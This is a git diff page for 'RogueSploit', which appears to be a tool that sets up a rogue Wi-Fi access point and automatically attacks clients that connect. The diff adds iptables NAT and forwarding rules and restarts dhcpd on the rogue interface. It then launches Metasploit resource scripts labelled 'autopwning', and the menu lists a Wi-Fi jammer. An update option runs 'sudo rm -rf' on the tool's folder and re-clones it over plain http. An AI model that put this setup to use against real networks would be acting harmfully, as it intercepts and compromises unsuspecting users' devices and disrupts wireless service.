mirror of
https://github.com/aljazceru/RogueSploit.git
synced 2025-12-17 06:14:21 +01:00
Update RogueSploit
This commit is contained in:
25
RogueSploit
25
RogueSploit
@@ -75,13 +75,25 @@ read warning
|
|||||||
#starting the pwning
|
#starting the pwning
|
||||||
|
|
||||||
autopwning1 () {
|
autopwning1 () {
|
||||||
|
pkill dhcpd
|
||||||
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
|
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
|
||||||
|
iptables -F
|
||||||
|
iptables -t nat -F
|
||||||
|
iptables -t mangle -F
|
||||||
|
iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
|
||||||
|
iptables -A FORWARD -i wlan1 -j ACCEPT
|
||||||
touch /var/lib/dhcp/dhcpd.leases
|
touch /var/lib/dhcp/dhcpd.leases
|
||||||
dhcpd -cf dhcpd.conf at0
|
dhcpd -cf dhcpd.conf at0
|
||||||
msfconsole -r $(pwd)/roguepwn1.rc
|
msfconsole -r $(pwd)/roguepwn1.rc
|
||||||
}
|
}
|
||||||
autopwning2 () {
|
autopwning2 () {
|
||||||
|
pkill dhcpd
|
||||||
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
|
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
|
||||||
|
iptables -F
|
||||||
|
iptables -t nat -F
|
||||||
|
iptables -t mangle -F
|
||||||
|
iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
|
||||||
|
iptables -A FORWARD -i wlan1 -j ACCEPT
|
||||||
touch /var/lib/dhcp/dhcpd.leases
|
touch /var/lib/dhcp/dhcpd.leases
|
||||||
dhcpd -cf dhcpd.conf at0
|
dhcpd -cf dhcpd.conf at0
|
||||||
msfconsole -r $(pwd)/roguepwn2.rc
|
msfconsole -r $(pwd)/roguepwn2.rc
|
||||||
@@ -98,6 +110,7 @@ echo -e $lightgreen" 3. Start WiFi Massive Jammer"
|
|||||||
echo -e $lightgreen" 4. Credits"
|
echo -e $lightgreen" 4. Credits"
|
||||||
echo -e $lightgreen" 5. Exit"
|
echo -e $lightgreen" 5. Exit"
|
||||||
echo -e $lightgreen" 6. TUTORIAL"
|
echo -e $lightgreen" 6. TUTORIAL"
|
||||||
|
echo -e $green" 7. Update wit Git"
|
||||||
echo -ne $yellow"root@roguesploit:"; read answer1
|
echo -ne $yellow"root@roguesploit:"; read answer1
|
||||||
|
|
||||||
if test $answer1 == '1'
|
if test $answer1 == '1'
|
||||||
@@ -192,6 +205,12 @@ elif test $answer1 == '6'
|
|||||||
echo -ne $yellow"Press any key to continue..."
|
echo -ne $yellow"Press any key to continue..."
|
||||||
read continuos
|
read continuos
|
||||||
menu
|
menu
|
||||||
|
elif test $answer1 == '7'
|
||||||
|
then
|
||||||
|
echo -ne
|
||||||
|
cd ../ && sudo rm -rf RogueSploit/
|
||||||
|
git clone http://github.com/b4ckp0r7/RogueSploit.git
|
||||||
|
exit
|
||||||
else
|
else
|
||||||
echo -e $red"[!] Incorrect Number [!]"
|
echo -e $red"[!] Incorrect Number [!]"
|
||||||
echo -n -e $yellow" Do you want exit? ( Yes / No ) :"
|
echo -n -e $yellow" Do you want exit? ( Yes / No ) :"
|
||||||
@@ -320,6 +339,12 @@ elif test $answer1 == '6'
|
|||||||
echo -ne $yellow"Press any key to continue..."
|
echo -ne $yellow"Press any key to continue..."
|
||||||
read continuos
|
read continuos
|
||||||
menu
|
menu
|
||||||
|
elif test $answer1 == '7'
|
||||||
|
then
|
||||||
|
echo -ne
|
||||||
|
cd ../ && sudo rm -rf RogueSploit/
|
||||||
|
git clone http://github.com/b4ckp0r7/RogueSploit.git
|
||||||
|
exit
|
||||||
else
|
else
|
||||||
echo -e $red"[!] Incorrect Number [!]"
|
echo -e $red"[!] Incorrect Number [!]"
|
||||||
echo -n -e $yellow" Do you want exit? ( Yes / No ) :"
|
echo -n -e $yellow" Do you want exit? ( Yes / No ) :"
|
||||||
|
|||||||
Reference in New Issue
Block a user